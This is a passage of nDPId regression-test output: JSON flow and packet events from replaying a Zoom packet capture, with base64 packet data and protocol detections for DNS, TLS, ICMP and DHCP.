CMPMDDnJuhcQWmDanqr+0OmlzpboaRmKdsDe7EAs6NTT9d18aejklV3Xni3ydKVTgVt1O1H9qzoyp0Z4ayVmey3JBUW5UiEYtrR791NOcRmZzVqWWbVP7yP3ZoTWablvrS5IEVkUa2dMUeCvo+pYUbvaMiYi55k7JFlr4ZtFkFDiw0jDppJFL0="} +01613{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":401507,"pkt_caplen":940,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":940,"pkt_l4_len":906,"pkt":"KDc3AG3IEBMx8Tl2CABFAAOe7JwAAHcGjbAjuuA1wKgBdQG70nDa5pSnv+GELoAYA\/cHTQAAAQEICoWn6OglnNskFwMDA2UAAAAAAAAB63RdRO49igVpeiJEx5cDVmQ\/RItgS31EyvK+Pj3VKbg\/n7syQ6PWu1cga3NbaO25TCv2Pv5xjc9\/Avrg9BgjWmbeOgVxpYaZrNpY5RUXgc2mjmUsUObFDxzWMvNrZo2F7gDSnifPvUF1If8seY5DXwzpCB2oC9DOdkNCtUgo+oTsUkQlJf5YDL2e1SIeZJ1TtGP1mx9kCPQWqlp8FMb3ucLeNnjnEz9\/liYAUS3xQpMeATdOnpYIfvIRotb+qe3AINGBs4llCX86O7Kk2ejZPL0ptynhMNz+Fh\/0gHByUTWqzJfpFSGzMAPcQCER6fXBzsAFtJQ+\/OCyqIDvjcykQJnYJ6Zxp6X4Fk9X7RNT6wI7oY9rc+onzBW3Dw7wnkWqY5ySp0B5XSQjCl5+7BsMAwmCmFvo8C3AaoysLlaxPcyYuV0xU27xVrk2slvmJ5QQvYgsD5Ix6KkHwRcMgiE+f3bWSkiKsh7ddGjO3AWIzoCGfjFXzMe4+vy6eu8hlCm5k6yDdp42LDFDdf8nfyNT3vGeAookVDglU+RZxr9okyUcCIOdNlCQo0m9D8doK9CCNsNtnvqTn0tPD+YVSgJnSMUCJc65SGBBq1jBLJLrakzDXq64pfCrI5vrTV\/8qkfnsa\/WIU0+OqdgFS1w2+EjTz1AlpPMYuWHHub\/ImyvU3Mjzttk7LQhYxEjd6HPgFRKsyQCZ5vE8+JaebVYSsIzsEcGzJ1vvwH5ND3u2WIuxEDuTpvuB3SB1qqXBK5D7wwyY4\/kBnTTUOz1MyFo0pFt6u1lpkaLbXtWJ4n9ZZq\/o\/RtBi7JorOYl8QV\/0HyTtUgRZpXICtHWTimEPNy5LsbF6qZO7IkwnjvzjbV0Vxi5n7GcuNf\/Nbztg\/7AqKfePP6CqEE3kIwI4UEQPsLktjeMdW0xWjY28wZjzsba6+Dur\/CWZjN+dOQp3CWsmNp7Gxf1vzk\/3ZWV0dop2e6h1E26oHM6o2fcvkyoErrv9Msua1x0jZbRUA+TmZXkGIFWEqf7AOhTCHlQuq\/wyeeC0V6z7TpgzfSPKVCvkGPpZddcRmd8Al\/gnDZzB0TPiiElGCghcSyOLSztDZsRUao4xIagX5mnRaLdOkPyHW6WDIgx9tBq1U3FfXOU11tJoesnw=="} +00423{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":401530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdLfAqAF1I7rgNdJwAbu\/4YQu2uaYEYAQD7imOgAAAQEICiWc21yFp+jo"} +01110{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":401618,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"KDc3AG3IEBMx8Tl2CABFAAIt7J0AAHcGjyAjuuA1wKgBdQG70nDa5pgRv+GELoAYA\/eo8QAAAQEICoWn6OglnNskFwMDANIAAAAAAAAB7AJOusOgI5V8tYRxHX5nxjD3HiT3EOOP3ixtCgFN0u10iO3T9fqpd57dfd2TNDV2JaVxggRA2+JBOl7hOtZviKG3O8zHuWBJbKm4qBLdD2axQAvsB6Rao1NM0UGs\/fZLAfaWjgDaE7ZZOviPmFT7bAwz1w3p3\/Gzz6ky3yi5geu4jD0Cn7I2DKwlNuB24bla3zxIz5H1tFV0hzIlawFCW8ktn1Frp9VY\/gV+K9K65X4+vih+gQoRT3\/+bPi1FGuTd77Sl3jzfPeUAOUXAwMA7wAAAAAAAAHty\/s\/PtlHgZPlhaYM5k1I5NYHQPdaXUd6VwMwxFbZe28AllWszXZLNa97DkMeqDh56xX0XZ0ErYxU5DCByXmGIkAId8vZ5YCu6ZSeoiQUFAS2WgKLymLred467fVov2wBxDK6sabUUzvUAWGZrICeivU5ZyG+Ji+J60JxrAcqpFlY2Y\/wyiPYaHr8gn3rHbkiTxY0z3CCsRn465kdXQv0ow88STXx41gdQj6VI5hHn6M968LAKM0fV53JdHBEN6aQ1ZZgsdzS7g0FODzBVpZ\/73vR7Mv6gFLHfpWEewOXZp0PQ3je6ngAFwMDACkAAAAAAAAB7nWIb9evM4JnPZGLUyMPuujbPvxipbzBbFpS5w3vj341FQ=="} +00423{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":401653,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdLfAqAF1I7rgNdJwAbu\/4YQu2uaaCoAQD6ikUQAAAQEICiWc21yFp+jo"} +00423{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":401756,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGdLfAqAF1I7rgNdJwAbu\/4YQu2uaaCoAQEACj+QAAAQEICiWc21yFp+jo"} +00489{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":402528,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"EBMx8Tl2KDc3AG3ICABFAABiAABAAEAGdInAqAF1I7rgNdJwAbu\/4YQu2uaaCoAYEAClwQAAAQEICiWc21yFp+joFwMDACkAAAAAAAAAk5oLCHKdwWaLIwDIo61mvuuNp5wp+z9zmEm+HF49DUmTeg=="} +00670{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":403586,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"EBMx8Tl2KDc3AG3ICABFAADrAABAAEAGzf7AqAF1aMdBKtJrAFCnuOsgVolceIAYEABiqgAAAQEICiWc216z1h7TDAUgKNBIETxUNcO6tAhUG0tEBvhguZ\/gS5HAVC5bbKTKTHCX3JVor4rN14O0LZh10Z+zk7f4TWqlCuSmuA7RDKBRDmsROEWg4Yxz4VW5inO17XbKkjS1wFJOL7YPze7st8oK8KA8i0J8VZgNqEmV75ZTR1EEnlmdOv1Wnbi8ZfiynTO8dMeAr6fWMVpy0UvHACezcN2obt7rM\/c8n0cBiXHeOHdHYxI8H+0Yp7F+Z7pofaIYdg+M"} +00437{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":413997,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8wY9AAC4R\/\/ai\/yYOwKgBdQ2XXV8AKOE+AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00437{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":423520,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8wZVAAC4R\/\/Ci\/yYOwKgBdQ2XXV8AKOE+AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00441{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"zoom.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1569520469423,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.38.14","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":423595,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA4WycAAEABlHPAqAF1ov8mDgMDkd4AAAAARQAAPMGVQAAuEf\/wov8mDsCoAXUNl11fACgAAA=="} +00478{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"zoom.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1569520469423,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"162.255.38.14","l4_proto":"icmp","ndpi": {"proto":"ICMP.Zoom","breed":"Acceptable","category":"Network"}} +00436{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":433682,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8wZlAAC4R\/+yi\/yYOwKgBdQ2XXV8AKOE+AAIADMFdrmNYXRQ5LlgsJgQDvzABAwAIAAH\/dVC03O8="} +00430{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":433729,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA4ZPoAAEABiqDAqAF1ov8mDgMDkd4AAAAARQAAPMGZQAAuEf\/sov8mDsCoAXUNl11fACgAAA=="} +00499{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":435372,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"KDc3AG3IEBMx8Tl2CABFAABrxSZAADUGFFhox0EqwKgBdQBQ0mtWiVx4p7jr14AYACoQ6AAAAQEICrPWHxMlnNteHG23tdrG8DG+h7r8Zxtz7MQCNVJFwwvVnv58rFQctE3+7OM+9UUQVY5R6JQAaaN6AcizUZjVWQ=="} +00422{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":435439,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGzrXAqAF1aMdBKtJrAFCnuOvXVolcr4AQD\/4NKAAAAQEICiWc232z1h8T"} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":90,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":782962,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":90,"source":"zoom.pcap","alias":"nDPId-test","type":34969} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":91,"source":"zoom.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1569520469797,"flow_last_seen":0,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":287,"flow_max_l4_data_len":287,"flow_avg_l4_data_len":287,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00778{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":797670,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzBkxAAEARcsXAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGABIog9sAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":91,"source":"zoom.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1569520469797,"flow_last_seen":0,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":287,"flow_max_l4_data_len":287,"flow_avg_l4_data_len":287,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,3"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":92,"source":"zoom.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1569520469950,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.196","src_port":54865,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":950703,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGBQ3AqAF1NMo+xNZRAbvXiDKIAAAAALAC\/\/8cGAAAAgQFtAEDAwUBAQgKJZzdfwAAAAAEAgAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":93,"source":"zoom.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1569520469984,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":62988,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520469,"pkt_ts_usec":984408,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA6vIgAAP8Re2PAqAF1wKgBAfYMADUAJtTToX0BAAABAAAAAAAABHd3dzMEem9vbQJ1cwAAAQAB"} +00631{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":93,"source":"zoom.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1569520469984,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":62988,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"www3.zoom.us","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00452{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":21639,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"KDc3AG3IEBMx8Tl2CABFAABKWCQAADcRp7jAqAEBwKgBdQA19gwANiAtoX2BgAABAAEAAAAABHd3dzMEem9vbQJ1cwAAAQABwAwAAQABAAAAPAAENMo+7A=="} +00657{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":94,"source":"zoom.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":2,"flow_first_seen":1569520469984,"flow_last_seen":1569520470021,"flow_tot_l4_data_len":92,"flow_min_l4_data_len":38,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":62988,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"www3.zoom.us","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.202.62.236"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":95,"source":"zoom.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1569520470022,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.236","src_port":54866,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":22260,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGBOXAqAF1NMo+7NZSAbv67hZtAAAAALAC\/\/8UXQAAAgQFtAEDAwUBAQgKJZzdxgAAAAAEAgAA"} +00420{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":60882,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0AABAAO8GVhg0yj7EwKgBdQG71lFyHvWD14gyiYASaQOGlAAAAgQFrAEBBAIBAwMM"} +00404{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":61040,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBSXAqAF1NMo+xNZRAbvXiDKJch71hFAQIAAQZwAA"} +01099{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":86807,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"EBMx8Tl2KDc3AG3ICABFAAItAABAAEAGAyDAqAF1NMo+xNZRAbvXiDKJch71hFAYIACSLwAAFgMBAgABAAH8AwM713rsHGfD7mJ354PwCuGZwTjUqrrL0CuQ4TzCSd+cxAAAoMAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBLACAAWABMAEAANwA3AAwAKAP8BAAEzAAAADAAKAAAHem9vbS51cwALAAQDAAECAAoAHAAaABcAGQAcABsAGAAaABYADgANAAsADAAJAAoADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMADwABATN0AAAAEAALAAkIaHR0cC8xLjEAFQC7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00714{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":98,"source":"zoom.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1569520469950,"flow_last_seen":1569520470086,"flow_tot_l4_data_len":633,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.196","src_port":54865,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00421{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":134646,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0AABAAO4GVvA0yj7swKgBdQG71lK89vcv+u4WboASaQMynAAAAgQFrAEBBAIBAwMM"} +00406{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":134790,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBP3AqAF1NMo+7NZSAbv67hZuvPb3MFAQIAC8bgAA"} +01101{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":165906,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"EBMx8Tl2KDc3AG3ICABFAAItAABAAEAGAvjAqAF1NMo+7NZSAbv67hZuvPb3MFAYIADjOQAAFgMBAgABAAH8AwObHTBBjptn8M2MO45Zv5ljKTP+98xeE3APrXXUMhcUnQAAoMAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwDLALsAqwCbAD8AFAJ0APQA1AITAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADAAmgCZAJgAlwBFAEQAQwBCwDHALcApwCXADsAEAJwAPAAvAJYAQQAHwBLACAAWABMAEAANwA3AAwAKAP8BAAEzAAAAEQAPAAAMd3d3My56b29tLnVzAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBM3QAAAAQAAsACQhodHRwLzEuMQAVALYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00720{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":101,"source":"zoom.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1569520470022,"flow_last_seen":1569520470165,"flow_tot_l4_data_len":633,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.236","src_port":54866,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www3.zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} 